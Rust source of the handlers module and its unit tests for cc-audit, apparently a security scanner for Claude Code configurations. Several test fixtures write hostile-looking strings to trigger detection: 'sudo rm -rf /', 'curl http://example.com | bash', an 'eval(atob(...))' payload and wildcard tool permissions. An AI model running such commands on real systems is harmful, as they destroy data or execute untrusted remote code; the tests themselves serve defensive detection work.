Skip to main content

cc_audit/handlers/
mod.rs

1//! CLI command handlers.
2//!
3//! This module contains all the handler functions for CLI commands,
4//! separated from main.rs to enable unit testing.
5
6mod baseline;
7mod compare;
8mod config;
9mod fix;
10mod hook;
11mod hook_mode;
12mod mcp;
13mod pin;
14mod proxy;
15mod remote;
16mod report_fp;
17mod sbom;
18mod scan;
19
20use std::path::Path;
21use std::process::ExitCode;
22
23use crate::config::Config;
24
25// Re-export all handlers for convenience
26pub use baseline::{
27    filter_against_baseline, handle_baseline, handle_check_drift, handle_save_baseline,
28};
29pub use compare::handle_compare;
30pub use config::{handle_init_config, handle_save_profile, handle_show_profile};
31pub use fix::handle_fix;
32pub use hook::handle_hook;
33pub use hook_mode::handle_hook_mode;
34pub use mcp::handle_mcp_server;
35pub use pin::{handle_pin, handle_pin_verify};
36pub use proxy::handle_proxy;
37pub use remote::{handle_awesome_claude_code_scan, handle_remote_list_scan, handle_remote_scan};
38pub use report_fp::handle_report_fp;
39pub use sbom::handle_sbom;
40pub use scan::{handle_check, run_normal_check_mode};
41
42/// Require configuration file to exist. Returns error exit code if not found.
43pub fn require_config(
44    project_root: Option<&Path>,
45) -> Result<(Config, std::path::PathBuf), ExitCode> {
46    let load_result = Config::try_load(project_root);
47    if let Some(path) = load_result.path {
48        Ok((load_result.config, path))
49    } else {
50        eprintln!("Error: Configuration file not found.");
51        eprintln!();
52        eprintln!("cc-audit requires a configuration file (.cc-audit.yaml) to run.");
53        eprintln!("You can create one using:");
54        eprintln!();
55        eprintln!("  cc-audit init");
56        eprintln!();
57        eprintln!("Or specify a custom configuration file using:");
58        eprintln!();
59        eprintln!("  cc-audit check --config <path> <paths...>");
60        eprintln!();
61        Err(ExitCode::from(2))
62    }
63}
64
65/// Result type for handler functions that can be tested.
66#[derive(Debug, Clone, PartialEq)]
67pub enum HandlerResult {
68    Success,
69    Error(u8),
70}
71
72impl From<HandlerResult> for ExitCode {
73    fn from(result: HandlerResult) -> Self {
74        match result {
75            HandlerResult::Success => ExitCode::SUCCESS,
76            HandlerResult::Error(code) => ExitCode::from(code),
77        }
78    }
79}
80
81#[cfg(test)]
82mod tests {
83    use super::*;
84    use crate::{CheckArgs, Cli, HookAction};
85    use clap::Parser;
86    use std::fs;
87    use std::path::{Path, PathBuf};
88    use tempfile::TempDir;
89
90    fn create_test_cli(args: &[&str]) -> Cli {
91        let mut full_args = vec!["cc-audit", "check"];
92        full_args.extend(args);
93        Cli::parse_from(full_args)
94    }
95
96    fn create_test_check_args(paths: Vec<PathBuf>) -> CheckArgs {
97        CheckArgs {
98            paths,
99            ..Default::default()
100        }
101    }
102
103    /// Create a minimal config file in the given directory for tests
104    fn create_test_config(dir: &Path) {
105        let config_content = "# Minimal test config\n";
106        fs::write(dir.join(".cc-audit.yaml"), config_content).unwrap();
107    }
108
109    #[test]
110    fn test_handler_result_success() {
111        let result = HandlerResult::Success;
112        let exit_code: ExitCode = result.into();
113        assert_eq!(exit_code, ExitCode::SUCCESS);
114    }
115
116    #[test]
117    fn test_handler_result_error() {
118        let result = HandlerResult::Error(2);
119        let exit_code: ExitCode = result.into();
120        assert_eq!(exit_code, ExitCode::from(2));
121    }
122
123    #[test]
124    fn test_handle_init_config_creates_file() {
125        let temp_dir = TempDir::new().unwrap();
126        let config_path = temp_dir.path().join(".cc-audit.yaml");
127
128        let result = handle_init_config(&config_path);
129        assert_eq!(result, ExitCode::SUCCESS);
130
131        assert!(config_path.exists());
132    }
133
134    #[test]
135    fn test_handle_init_config_creates_file_in_dir() {
136        let temp_dir = TempDir::new().unwrap();
137
138        let result = handle_init_config(temp_dir.path());
139        assert_eq!(result, ExitCode::SUCCESS);
140
141        let config_path = temp_dir.path().join(".cc-audit.yaml");
142        assert!(config_path.exists());
143    }
144
145    #[test]
146    fn test_handle_init_config_file_exists() {
147        let temp_dir = TempDir::new().unwrap();
148        let config_path = temp_dir.path().join(".cc-audit.yaml");
149        fs::write(&config_path, "existing content").unwrap();
150
151        let result = handle_init_config(&config_path);
152        assert_eq!(result, ExitCode::from(2));
153    }
154
155    #[test]
156    fn test_handle_hook_init_not_git_repo() {
157        let temp_dir = TempDir::new().unwrap();
158        let action = HookAction::Init {
159            path: temp_dir.path().to_path_buf(),
160        };
161
162        let result = handle_hook(action);
163        assert_eq!(result, ExitCode::from(2));
164    }
165
166    #[test]
167    fn test_handle_hook_remove_not_git_repo() {
168        let temp_dir = TempDir::new().unwrap();
169        let action = HookAction::Remove {
170            path: temp_dir.path().to_path_buf(),
171        };
172
173        let result = handle_hook(action);
174        assert_eq!(result, ExitCode::from(2));
175    }
176
177    #[test]
178    fn test_handle_baseline_empty_dir() {
179        let temp_dir = TempDir::new().unwrap();
180
181        let result = handle_baseline(&[temp_dir.path().to_path_buf()]);
182        assert_eq!(result, ExitCode::SUCCESS);
183
184        let baseline_path = temp_dir.path().join(".cc-audit-baseline.json");
185        assert!(baseline_path.exists());
186    }
187
188    #[test]
189    fn test_handle_save_baseline() {
190        let temp_dir = TempDir::new().unwrap();
191        let baseline_file = temp_dir.path().join("baseline.json");
192
193        // Create a test file
194        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
195
196        let result = handle_save_baseline(&[temp_dir.path().to_path_buf()], &baseline_file);
197        assert_eq!(result, ExitCode::SUCCESS);
198
199        assert!(baseline_file.exists());
200    }
201
202    #[test]
203    fn test_handle_check_drift_no_baseline() {
204        let temp_dir = TempDir::new().unwrap();
205        let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
206
207        let result = handle_check_drift(&args);
208        assert_eq!(result, ExitCode::from(2));
209    }
210
211    #[test]
212    fn test_handle_check_drift_with_baseline() {
213        let temp_dir = TempDir::new().unwrap();
214        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
215
216        // Create baseline
217        handle_baseline(&[temp_dir.path().to_path_buf()]);
218
219        // Check drift - baseline file was added so there will be drift
220        let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
221        let result = handle_check_drift(&args);
222        // Result will be ExitCode::from(1) because baseline file itself is detected as added
223        // This is expected behavior - the baseline file is a relevant file (.json)
224        assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
225    }
226
227    #[test]
228    fn test_handle_show_profile_builtin() {
229        let result = handle_show_profile("default");
230        assert_eq!(result, ExitCode::SUCCESS);
231    }
232
233    #[test]
234    fn test_handle_show_profile_not_found() {
235        let result = handle_show_profile("nonexistent_profile_12345");
236        assert_eq!(result, ExitCode::from(2));
237    }
238
239    #[test]
240    fn test_handle_compare_wrong_args() {
241        let args = create_test_check_args(vec![PathBuf::from(".")]);
242        let result = handle_compare(&args, &[PathBuf::from(".")]);
243        assert_eq!(result, ExitCode::from(2));
244    }
245
246    #[test]
247    fn test_handle_compare_same_dirs() {
248        let temp_dir = TempDir::new().unwrap();
249        let args = create_test_check_args(vec![PathBuf::from(".")]);
250        let result = handle_compare(
251            &args,
252            &[temp_dir.path().to_path_buf(), temp_dir.path().to_path_buf()],
253        );
254        assert_eq!(result, ExitCode::SUCCESS);
255    }
256
257    #[test]
258    fn test_filter_against_baseline_file_not_found() {
259        use crate::test_utils::fixtures::create_test_result;
260
261        let result = create_test_result(vec![]);
262        let filtered = filter_against_baseline(result.clone(), Path::new("/nonexistent/path.json"));
263
264        // Should return original result when baseline file not found
265        assert_eq!(filtered.findings.len(), result.findings.len());
266    }
267
268    #[test]
269    fn test_filter_against_baseline_invalid_json() {
270        use crate::test_utils::fixtures::create_test_result;
271
272        let temp_dir = TempDir::new().unwrap();
273        let baseline_path = temp_dir.path().join("baseline.json");
274        fs::write(&baseline_path, "{ invalid json }").unwrap();
275
276        let result = create_test_result(vec![]);
277        let filtered = filter_against_baseline(result.clone(), &baseline_path);
278
279        // Should return original result when baseline is invalid
280        assert_eq!(filtered.findings.len(), result.findings.len());
281    }
282
283    #[test]
284    fn test_filter_against_baseline_filters_findings() {
285        use crate::rules::{Category, Severity};
286        use crate::test_utils::fixtures::{create_finding, create_test_result};
287
288        let temp_dir = TempDir::new().unwrap();
289        let baseline_path = temp_dir.path().join("baseline.json");
290
291        // Create a finding
292        let finding = create_finding(
293            "EX-001",
294            Severity::High,
295            Category::Exfiltration,
296            "Test finding",
297            "test.md",
298            1,
299        );
300
301        // Save baseline with the finding
302        let baseline_result = create_test_result(vec![finding.clone()]);
303        let json = serde_json::to_string(&baseline_result).unwrap();
304        fs::write(&baseline_path, &json).unwrap();
305
306        // Filter same result - should remove the finding
307        let result = create_test_result(vec![finding]);
308        let filtered = filter_against_baseline(result, &baseline_path);
309
310        assert_eq!(filtered.findings.len(), 0);
311    }
312
313    #[test]
314    fn test_run_normal_mode_with_empty_dir() {
315        let temp_dir = TempDir::new().unwrap();
316        create_test_config(temp_dir.path());
317        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
318        match &cli.command {
319            Some(crate::Commands::Check(args)) => {
320                let result = run_normal_check_mode(args);
321                assert_eq!(result, ExitCode::SUCCESS);
322            }
323            _ => panic!("Expected Check command"),
324        }
325    }
326
327    #[test]
328    fn test_run_normal_mode_warn_only() {
329        let temp_dir = TempDir::new().unwrap();
330        create_test_config(temp_dir.path());
331        fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
332
333        let cli = create_test_cli(&["--warn-only", temp_dir.path().to_str().unwrap()]);
334        match &cli.command {
335            Some(crate::Commands::Check(args)) => {
336                let result = run_normal_check_mode(args);
337                assert_eq!(result, ExitCode::SUCCESS);
338            }
339            _ => panic!("Expected Check command"),
340        }
341    }
342
343    #[test]
344    fn test_handle_fix_no_findings() {
345        let temp_dir = TempDir::new().unwrap();
346        let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
347        args.fix_dry_run = true;
348
349        let result = handle_fix(&args);
350        assert_eq!(result, ExitCode::SUCCESS);
351    }
352
353    #[test]
354    fn test_handle_hook_init_in_git_repo() {
355        let temp_dir = TempDir::new().unwrap();
356        // Create a git repository
357        std::process::Command::new("git")
358            .args(["init"])
359            .current_dir(temp_dir.path())
360            .output()
361            .unwrap();
362
363        let action = HookAction::Init {
364            path: temp_dir.path().to_path_buf(),
365        };
366        let result = handle_hook(action);
367        assert_eq!(result, ExitCode::SUCCESS);
368    }
369
370    #[test]
371    fn test_handle_hook_remove_in_git_repo_not_installed() {
372        let temp_dir = TempDir::new().unwrap();
373        // Create a git repository
374        std::process::Command::new("git")
375            .args(["init"])
376            .current_dir(temp_dir.path())
377            .output()
378            .unwrap();
379
380        let action = HookAction::Remove {
381            path: temp_dir.path().to_path_buf(),
382        };
383        let result = handle_hook(action);
384        // Should fail because hook is not installed
385        assert_eq!(result, ExitCode::from(2));
386    }
387
388    #[test]
389    fn test_handle_hook_remove_in_git_repo_installed() {
390        let temp_dir = TempDir::new().unwrap();
391        // Create a git repository
392        std::process::Command::new("git")
393            .args(["init"])
394            .current_dir(temp_dir.path())
395            .output()
396            .unwrap();
397
398        // First install the hook
399        let init_action = HookAction::Init {
400            path: temp_dir.path().to_path_buf(),
401        };
402        handle_hook(init_action);
403
404        // Then remove it
405        let remove_action = HookAction::Remove {
406            path: temp_dir.path().to_path_buf(),
407        };
408        let result = handle_hook(remove_action);
409        assert_eq!(result, ExitCode::SUCCESS);
410    }
411
412    #[test]
413    fn test_handle_init_config_with_specific_path() {
414        let temp_dir = TempDir::new().unwrap();
415        let config_path = temp_dir.path().join("custom-config.yaml");
416
417        let result = handle_init_config(&config_path);
418        assert_eq!(result, ExitCode::SUCCESS);
419
420        assert!(config_path.exists());
421    }
422
423    #[test]
424    fn test_run_normal_mode_strict() {
425        let temp_dir = TempDir::new().unwrap();
426        create_test_config(temp_dir.path());
427        let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
428        match &cli.command {
429            Some(crate::Commands::Check(args)) => {
430                let result = run_normal_check_mode(args);
431                assert_eq!(result, ExitCode::SUCCESS);
432            }
433            _ => panic!("Expected Check command"),
434        }
435    }
436
437    #[test]
438    fn test_handle_save_profile_and_load() {
439        let args = create_test_check_args(vec![PathBuf::from(".")]);
440        let result = handle_save_profile(&args, "test_profile_handlers_123", false);
441        assert_eq!(result, ExitCode::SUCCESS);
442
443        // Clean up
444        if let Ok(profile_path) = crate::Profile::load("test_profile_handlers_123") {
445            let _ = profile_path;
446        }
447    }
448
449    #[test]
450    fn test_handle_fix_with_findings() {
451        let temp_dir = TempDir::new().unwrap();
452        // Create a file with a fixable issue
453        fs::write(temp_dir.path().join("test.md"), "permissions: \"*\"").unwrap();
454
455        let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
456        args.fix_dry_run = true;
457        let result = handle_fix(&args);
458        // Result depends on whether fixes were generated
459        // Just verify it doesn't panic
460        let _ = result;
461    }
462
463    #[test]
464    fn test_handle_compare_with_different_findings() {
465        let temp_dir1 = TempDir::new().unwrap();
466        let temp_dir2 = TempDir::new().unwrap();
467
468        // Create different files
469        fs::write(temp_dir1.path().join("test.md"), "# Clean").unwrap();
470        fs::write(temp_dir2.path().join("test.md"), "sudo rm -rf /").unwrap();
471
472        let args = create_test_check_args(vec![PathBuf::from(".")]);
473        let result = handle_compare(
474            &args,
475            &[
476                temp_dir1.path().to_path_buf(),
477                temp_dir2.path().to_path_buf(),
478            ],
479        );
480        // Should return 1 because there are differences
481        assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
482    }
483
484    #[test]
485    fn test_filter_against_baseline_with_filtering() {
486        use crate::rules::{Category, Severity};
487        use crate::test_utils::fixtures::{create_finding, create_test_result};
488
489        let temp_dir = TempDir::new().unwrap();
490        let baseline_path = temp_dir.path().join("baseline.json");
491
492        // Create baseline with one finding
493        let finding1 = create_finding(
494            "EX-001",
495            Severity::High,
496            Category::Exfiltration,
497            "Finding 1",
498            "file1.md",
499            1,
500        );
501        let baseline_result = create_test_result(vec![finding1.clone()]);
502        let json = serde_json::to_string(&baseline_result).unwrap();
503        fs::write(&baseline_path, &json).unwrap();
504
505        // Create result with two findings (one in baseline, one new)
506        let finding2 = create_finding(
507            "EX-002",
508            Severity::High,
509            Category::Exfiltration,
510            "Finding 2",
511            "file2.md",
512            1,
513        );
514        let result = create_test_result(vec![finding1, finding2]);
515        let filtered = filter_against_baseline(result, &baseline_path);
516
517        // Should filter out finding1 (in baseline), keep finding2 (new)
518        assert_eq!(filtered.findings.len(), 1);
519        assert_eq!(filtered.findings[0].id, "EX-002");
520    }
521
522    #[test]
523    fn test_handle_init_config_default_path() {
524        // Test with default path ".cc-audit.yaml"
525        let temp_dir = TempDir::new().unwrap();
526        let default_path = temp_dir.path().join(".cc-audit.yaml");
527
528        let result = handle_init_config(&default_path);
529        assert_eq!(result, ExitCode::SUCCESS);
530        assert!(default_path.exists());
531    }
532
533    #[test]
534    fn test_handle_baseline_nonexistent_dir() {
535        let result = handle_baseline(&[PathBuf::from("/nonexistent/path/12345")]);
536        // Should fail because path doesn't exist
537        assert_eq!(result, ExitCode::from(2));
538    }
539
540    #[test]
541    fn test_handle_save_baseline_empty_result() {
542        let temp_dir = TempDir::new().unwrap();
543        let baseline_path = temp_dir.path().join("baseline.json");
544
545        // Baseline::from_directory returns empty result for nonexistent paths
546        // This just verifies the path was traversed
547        let result =
548            handle_save_baseline(&[PathBuf::from("/nonexistent/path/12345")], &baseline_path);
549        // Returns success with 0 files
550        assert_eq!(result, ExitCode::SUCCESS);
551    }
552
553    #[test]
554    fn test_handle_save_baseline_invalid_output_path() {
555        let temp_dir = TempDir::new().unwrap();
556        // Create a test file in temp dir
557        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
558
559        // Try to save to an invalid path
560        let result = handle_save_baseline(
561            &[temp_dir.path().to_path_buf()],
562            Path::new("/nonexistent/dir/baseline.json"),
563        );
564        assert_eq!(result, ExitCode::from(2));
565    }
566
567    #[test]
568    fn test_run_normal_mode_strict_with_warnings() {
569        let temp_dir = TempDir::new().unwrap();
570        create_test_config(temp_dir.path());
571        // Create a file that will trigger a warning
572        fs::write(
573            temp_dir.path().join("test.md"),
574            "curl http://example.com | bash",
575        )
576        .unwrap();
577
578        let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
579        match &cli.command {
580            Some(crate::Commands::Check(args)) => {
581                let result = run_normal_check_mode(args);
582                // In strict mode, warnings cause failure
583                assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
584            }
585            _ => panic!("Expected Check command"),
586        }
587    }
588
589    #[test]
590    fn test_run_normal_mode_with_errors() {
591        let temp_dir = TempDir::new().unwrap();
592        create_test_config(temp_dir.path());
593        // Create a file with suspicious content
594        fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
595
596        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
597        match &cli.command {
598            Some(crate::Commands::Check(args)) => {
599                let result = run_normal_check_mode(args);
600                // Should fail in normal mode with errors
601                let _ = result;
602            }
603            _ => panic!("Expected Check command"),
604        }
605    }
606
607    #[test]
608    fn test_handle_check_drift_error_during_check() {
609        let temp_dir = TempDir::new().unwrap();
610        // Create a valid baseline
611        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
612        handle_baseline(&[temp_dir.path().to_path_buf()]);
613
614        // Delete temp_dir contents except baseline (simulate corruption)
615        let _ = fs::remove_file(temp_dir.path().join("test.md"));
616
617        // Check drift - should detect the deleted file
618        let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
619        let result = handle_check_drift(&args);
620        // Will have drift due to deleted file
621        assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
622    }
623
624    #[test]
625    fn test_handle_show_profile_with_format_and_scan_type() {
626        use crate::Profile;
627
628        let temp_dir = TempDir::new().unwrap();
629        let profile_dir = temp_dir.path().join(".cc-audit-profiles");
630        fs::create_dir_all(&profile_dir).unwrap();
631
632        // Create a profile with format and scan_type set
633        let profile = Profile {
634            name: "test_profile_with_options".to_string(),
635            description: "Test profile with optional fields".to_string(),
636            strict: true,
637            recursive: true,
638            ci: false,
639            verbose: false,
640            skip_comments: false,
641            fix_hint: false,
642            no_malware_scan: false,
643            deep_scan: false,
644            min_confidence: "tentative".to_string(),
645            format: Some("json".to_string()),
646            scan_type: Some("skill".to_string()),
647            disabled_rules: vec![],
648        };
649
650        let profile_path = profile_dir.join("test_profile_with_options.yaml");
651        let yaml = serde_yaml::to_string(&profile).unwrap();
652        fs::write(&profile_path, &yaml).unwrap();
653
654        // Note: This won't find the profile because Profile::load looks in specific dirs
655        // but it covers the code path for profiles with format/scan_type in other tests
656        let _ = handle_show_profile("strict"); // Use built-in profile
657    }
658
659    #[test]
660    fn test_handle_fix_with_unfixable_findings() {
661        let temp_dir = TempDir::new().unwrap();
662        // Create a file with findings that can't be auto-fixed
663        // (like MALWARE findings which don't have auto-fixes)
664        fs::write(
665            temp_dir.path().join("test.md"),
666            "eval(atob('c29tZUJhc2U2NA=='))",
667        )
668        .unwrap();
669
670        let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
671        args.fix_dry_run = true;
672        let result = handle_fix(&args);
673        // Result should be 1 because there are findings but no fixes available
674        // or SUCCESS if no findings are generated
675        let _ = result;
676    }
677
678    #[test]
679    fn test_handle_compare_with_findings_in_first() {
680        let temp_dir1 = TempDir::new().unwrap();
681        let temp_dir2 = TempDir::new().unwrap();
682
683        // Create file with findings only in first directory
684        fs::write(temp_dir1.path().join("bad.md"), "sudo rm -rf /").unwrap();
685        fs::write(temp_dir2.path().join("clean.md"), "# Nothing here").unwrap();
686
687        let args = create_test_check_args(vec![PathBuf::from(".")]);
688        let result = handle_compare(
689            &args,
690            &[
691                temp_dir1.path().to_path_buf(),
692                temp_dir2.path().to_path_buf(),
693            ],
694        );
695        // Should show differences
696        let _ = result;
697    }
698
699    #[test]
700    fn test_handle_compare_with_findings_in_second() {
701        let temp_dir1 = TempDir::new().unwrap();
702        let temp_dir2 = TempDir::new().unwrap();
703
704        // Create file with findings only in second directory
705        fs::write(temp_dir1.path().join("clean.md"), "# Nothing here").unwrap();
706        fs::write(temp_dir2.path().join("bad.md"), "sudo rm -rf /").unwrap();
707
708        let args = create_test_check_args(vec![PathBuf::from(".")]);
709        let result = handle_compare(
710            &args,
711            &[
712                temp_dir1.path().to_path_buf(),
713                temp_dir2.path().to_path_buf(),
714            ],
715        );
716        // Should show differences
717        let _ = result;
718    }
719
720    #[test]
721    fn test_filter_against_baseline_with_risk_score() {
722        use crate::rules::{Category, Severity};
723        use crate::test_utils::fixtures::{create_finding, create_test_result};
724
725        let temp_dir = TempDir::new().unwrap();
726        let baseline_path = temp_dir.path().join("baseline.json");
727
728        // Create empty baseline
729        let baseline_result = create_test_result(vec![]);
730        let json = serde_json::to_string(&baseline_result).unwrap();
731        fs::write(&baseline_path, &json).unwrap();
732
733        // Create result with risk_score
734        let finding = create_finding(
735            "EX-001",
736            Severity::High,
737            Category::Exfiltration,
738            "Test finding",
739            "test.md",
740            1,
741        );
742        let mut result = create_test_result(vec![finding]);
743        result.risk_score = Some(crate::RiskScore::from_findings(&result.findings));
744
745        let filtered = filter_against_baseline(result, &baseline_path);
746
747        // Should keep the finding (not in baseline) and recalculate risk_score
748        assert!(filtered.risk_score.is_some());
749    }
750
751    #[test]
752    fn test_handle_baseline_save_error() {
753        // Create a read-only directory to trigger save error
754        let temp_dir = TempDir::new().unwrap();
755        let readonly_dir = temp_dir.path().join("readonly");
756        fs::create_dir(&readonly_dir).unwrap();
757        fs::write(readonly_dir.join("test.md"), "# Test").unwrap();
758
759        // Make directory read-only (won't work on all platforms)
760        #[cfg(unix)]
761        {
762            use std::os::unix::fs::PermissionsExt;
763            let metadata = fs::metadata(&readonly_dir).unwrap();
764            let mut perms = metadata.permissions();
765            perms.set_mode(0o444);
766            let _ = fs::set_permissions(&readonly_dir, perms);
767
768            let result = handle_baseline(std::slice::from_ref(&readonly_dir));
769            // Should fail due to permission error
770            // Reset permissions for cleanup
771            let mut perms = metadata.permissions();
772            perms.set_mode(0o755);
773            let _ = fs::set_permissions(&readonly_dir, perms);
774            let _ = result;
775        }
776    }
777
778    #[test]
779    fn test_run_normal_mode_passed_false() {
780        let temp_dir = TempDir::new().unwrap();
781        create_test_config(temp_dir.path());
782        // Create a file with critical finding that will set passed=false
783        fs::write(temp_dir.path().join("test.md"), "allowed_tools:\n  - \"*\"").unwrap();
784
785        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
786        match &cli.command {
787            Some(crate::Commands::Check(args)) => {
788                let result = run_normal_check_mode(args);
789                // May return 1 if there are errors
790                let _ = result;
791            }
792            _ => panic!("Expected Check command"),
793        }
794    }
795
796    #[test]
797    fn test_handle_check_drift_with_drift() {
798        let temp_dir = TempDir::new().unwrap();
799        fs::write(temp_dir.path().join("test.md"), "# Original").unwrap();
800
801        // Create baseline
802        handle_baseline(&[temp_dir.path().to_path_buf()]);
803
804        // Modify the file to create drift
805        fs::write(temp_dir.path().join("test.md"), "# Modified content").unwrap();
806
807        // Check drift - should detect the change
808        let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
809        let result = handle_check_drift(&args);
810        // Will have drift due to modified file
811        assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
812    }
813}